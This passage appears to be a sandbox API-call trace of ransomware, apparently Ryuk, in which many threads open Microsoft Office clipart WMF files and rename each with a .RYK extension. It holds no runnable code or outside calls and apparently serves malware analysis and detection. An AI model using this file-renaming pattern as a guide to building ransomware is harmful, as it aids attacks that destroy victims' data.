	[0241.652] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2208
	os_tid = 0x2814

	[0241.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF", dwFileAttributes=0x80) returned 0
	[0241.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.650] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.651] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2209
	os_tid = 0x2818

	[0241.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF", dwFileAttributes=0x80) returned 0
	[0241.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.787] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.787] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2210
	os_tid = 0x281c

	[0241.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF", dwFileAttributes=0x80) returned 0
	[0241.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.821] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.821] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2211
	os_tid = 0x2820

	[0241.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF", dwFileAttributes=0x80) returned 0
	[0241.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.822] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.822] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2212
	os_tid = 0x2824

	[0241.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF", dwFileAttributes=0x80) returned 0
	[0241.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.647] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.647] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2213
	os_tid = 0x2828

	[0241.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF", dwFileAttributes=0x80) returned 0
	[0241.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.823] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.823] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2214
	os_tid = 0x282c

	[0241.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF", dwFileAttributes=0x80) returned 0
	[0241.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.825] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.825] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2215
	os_tid = 0x2830

	[0241.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF", dwFileAttributes=0x80) returned 0
	[0241.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.526] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.526] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2216
	os_tid = 0x2834

	[0241.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF", dwFileAttributes=0x80) returned 0
	[0241.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.528] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.528] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2217
	os_tid = 0x2838

	[0241.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF", dwFileAttributes=0x80) returned 0
	[0241.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.530] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.530] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2218
	os_tid = 0x283c

	[0241.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF", dwFileAttributes=0x80) returned 0
	[0241.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.532] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.532] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2219
	os_tid = 0x2840

	[0241.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF", dwFileAttributes=0x80) returned 0
	[0241.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.533] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.534] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2220
	os_tid = 0x2844

	[0241.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF", dwFileAttributes=0x80) returned 0
	[0241.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.535] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.535] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2221
	os_tid = 0x2848

	[0241.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF", dwFileAttributes=0x80) returned 0
	[0241.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.537] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.537] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2222
	os_tid = 0x284c

	[0241.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF", dwFileAttributes=0x80) returned 0
	[0241.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.539] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.539] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2223
	os_tid = 0x2850

	[0241.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF", dwFileAttributes=0x80) returned 0
	[0241.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.541] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.541] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2224
	os_tid = 0x2854

	[0241.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF", dwFileAttributes=0x80) returned 0
	[0241.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.543] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.543] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2225
	os_tid = 0x2858

	[0241.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF", dwFileAttributes=0x80) returned 0
	[0241.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.842] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.842] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2226
	os_tid = 0x285c

	[0241.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF", dwFileAttributes=0x80) returned 0
	[0241.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.841] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.841] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2227
	os_tid = 0x2860

	[0241.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF", dwFileAttributes=0x80) returned 0
	[0241.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.960] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.960] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2228
	os_tid = 0x2868

	[0241.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF", dwFileAttributes=0x80) returned 0
	[0241.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.050] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.050] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2229
	os_tid = 0x286c

	[0241.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF", dwFileAttributes=0x80) returned 0
	[0241.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.051] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.051] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2230
	os_tid = 0x2870

	[0241.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF", dwFileAttributes=0x80) returned 0
	[0241.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.837] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.837] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2231
	os_tid = 0x2874

	[0241.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF", dwFileAttributes=0x80) returned 0
	[0241.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.053] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.053] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2232
	os_tid = 0x2878

	[0241.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF", dwFileAttributes=0x80) returned 0
	[0241.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.054] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.054] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2233
	os_tid = 0x287c

	[0241.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF", dwFileAttributes=0x80) returned 0
	[0241.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.055] CloseHandle (hObject=0xffffffffffffffff) returned 0
